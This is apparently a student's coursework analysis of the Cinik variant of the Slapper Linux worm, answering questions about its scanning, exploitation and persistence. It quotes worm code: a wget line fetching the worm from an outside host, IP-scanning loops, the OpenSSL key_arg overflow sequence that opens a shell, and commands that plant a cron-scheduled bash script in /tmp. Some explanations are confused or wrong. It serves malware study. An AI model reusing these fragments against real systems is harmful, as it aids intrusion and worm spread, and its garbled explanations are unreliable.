Project 3

Yilin Yang

1.1 Cinik is a child of Slapper. One variant, Slapper. C 2m, was its child.

1.2 There were 2785 lines in the code and 82 functions.

Using cat comment I can see there are 2785 lines, and I use the package of ctags to find the total number of functions.

1.3 The multithreads occur in the mfork() function. This function allows the child to send information that is found from the parent function so that the parent function may continuously search for more files and information from the host.

1.4 See attached Picture.

2.1 The worm only writes to /tmp. It keeps a local copy of itself in /tmp with filename “.bugtraq.c”. If the local source is not available, then the worm can re-download itself by the command:

if ((in=fopen("/tmp/.cinik.c","r")) == NULL)

{

// incercam o recuperare

chdir("/tmp");

/\*

following commented-out for safety

\*/

/\*

system("/usr/bin/wget <http://zamfy.home.ro/0/cinik.c>");

system("mv /tmp/cinik.c /tmp/.cinik.c");

2.2 The worm takes two argument. If at least one command line argument isn’t given, the program will exit with the

message

.bugtraq: Exec format error. Binary file not executable.

 if (argc <= 1) {

                /\*

                must start program with loop-back address

                \*/

                printf("%s: Exec format error. Binary file not executable.\n",argv[0]);

                return 0;

        }

        srand(time(NULL)^getpid());

        memset((char\*)&routes,0,sizeof(struct route\_table)\*24);

        memset(clients,0,sizeof(struct ainst)\*CLIENTS\*2);

2.3 The dup2() point the second argument at the first one, etc, where 0,1 and 2 are stdin, stdout and stderr.

Thus all of these things are pointed at the same directions (being the null file: “int null = open("/dev/null",O\_RDWR);”) and can cause buffer overflow and allow us to change the return address.

3.1

The Slapper worm chooses the IP address to be attacked based on a random

selection of the network. The victim IP address is produced from lines 1734-1737

and 1840-1857 in the main function. It chooses the first octet (a) to be a random

selection from the classes array.

#ifdef SCAN

unsigned char classes[] = { ... };

a=classes[rand()%(sizeof classes)];

        b=rand();

        c=THIRD\_BYTE;

        d=FOURTH\_BYTE;

And scanning again later

#ifdef SCAN

/\*

COMMENT: Scanning again...

\*/

// if (myip)

for (n=CLIENTS,p=0;n<(CLIENTS\*2) && p<100;n++) if

(clients[n].sock == 0) {

char srv[256];

if (d == 255) {

if (c == 255) {

a=classes[rand()%(sizeof classes)];

b=rand();

c=0;

}

else c++;

d=0;

}

else d++;

memset(srv,0,256);

sprintf(srv,"%d.%d.%d.%d",a,b,c,d);

clients[n].ext=time(NULL);

atcp\_sync\_connect(&clients[n],srv,SCANPORT);

p++;

}

3.2 In main does the scanning occur, see codes above. It is performed every time the mother loop is performed.

Scanning is performed every time the worm runs. Also, in the while(1) loop, if it meets the condition then the scanning runs as many times as the if condition is true.

3.3 It attacks Linux Apache and mod-ssl webservers. It will work against all x86 Linux distributions using OpenSSL.

4.1

After an IP address is chosen for the attack, the worm attempts to send an invalid request to the chosen IP address. The slapper then got an error message with additional information which may include server release information.

Then the slapper tailors the buffer exploit for different version of Apache.

After that, the worm attempts to break into the host by initiating a connection through SSL and then overflowing the key\_arg buffer in order to overwrite SSL\_SESSION.

4.2

The worm takes advantage of buffer overflow to put pointers in the buffer that points to shell codes. Once the shell session is estabilished, Slapper will call sh function which issues commends on the host's computer.

port = get\_local\_port(ssl2->sock);

overwrite\_next\_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);

overwrite\_next\_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);

\*(int\*)&overwrite\_next\_chunk[156] = cipher;

\*(int\*)&overwrite\_next\_chunk[192] = architectures[arch].func\_addr - 12;

\*(int\*)&overwrite\_next\_chunk[196] = ciphers + 16;

send\_client\_hello(ssl2);

get\_server\_hello(ssl2);

send\_client\_master\_key(ssl2, overwrite\_next\_chunk,

sizeof(overwrite\_next\_chunk)-1);

generate\_session\_keys(ssl2);

get\_server\_verify(ssl2);

for (i = 0; i < ssl2->conn\_id\_length; i++) ssl2->conn\_id[i] =

(unsigned char) (rand() >> 24);

send\_client\_finished(ssl2);

get\_server\_error(ssl2);

COMMENT: following sh() acually issues the commands on the

compromised system

sh(ssl2->sock);

close(ssl2->sock);

close(ssl1->sock);

exit(0);

The worm does not use netcat to open connections.

5.1 The local tem calls the remote worm by the following codes:

writem(sockfd,"echo -e '#!/bin/bash\n\n##\n## CiNIK starts

here :)\n##\n\nexport PATH=/bin:$PATH\n\n# ce id am ?\n' >

/tmp/.cinik.go");

writem(sockfd,"echo -e 'myid=`/usr/bin/id | /bin/cut -d\( -f1

| /bin/cutcut -d\= -f2`\n\n# punem si intr-un loc default\nmkdir -p

/tmp/.font-unix/.cinik\ncat /tmp/.cinik > $i' >> /tmp/.cinik.go\n");

sprintf(rcv,"echo -e 'chmod a+x $i\necho 1 `/bin/date +%H` [\\\*](file:///\\*)

[\\\*](file:///\\*) [\\\*](file:///\\*) $i %s \\> /dev/null 2\\>\\&1 | crontab'>>

/tmp/.cinik.go\n",localip);

writem(sockfd,rcv);

It creates a cinik.go file. Also, the encode function will read from "/tmp/.bugtraq.c" and the worm can start a remote worm.

5.2 Cinik.go is a bash script that runs itself and .cinik according to a schedule.

5.3 Cinik.status contains lots of information about the current computer. The information is then emailed off and deleted.

5.4 Yes, the worm has the functionality to reboot. The file crontab runs the entries

in it run on a schedule in cinik.go.

6.1 Cinik accepts commands by the system PUD. It is encoded in hex to run from 0x20. The

0x41-0x47 parts are relays. Cinik can collect information about the victim and send on as well as running commands and floods.

6.2 In the UDP network there is a switch() function in the very large while loop that collects information regarding its host.

6.3 The encryption uses RSA.

6.4

/tmp/.cinik.c     /tmp/.cinik.go     /tmp/.cinik.status

6.5: Three things: monitoring trusted processes, mistrusted processes, and monitoring IP address scanning.

A worm is running if a process is performing a task that it is not supposed to do. The worm also monitors IP addresses in the address space of the host to try to evaluate the next host. If the infected computer is monitored and exceeds a threshold then we can say that the worm is running.

6.6: Have no access to computer, no way to detect worms but all others for help.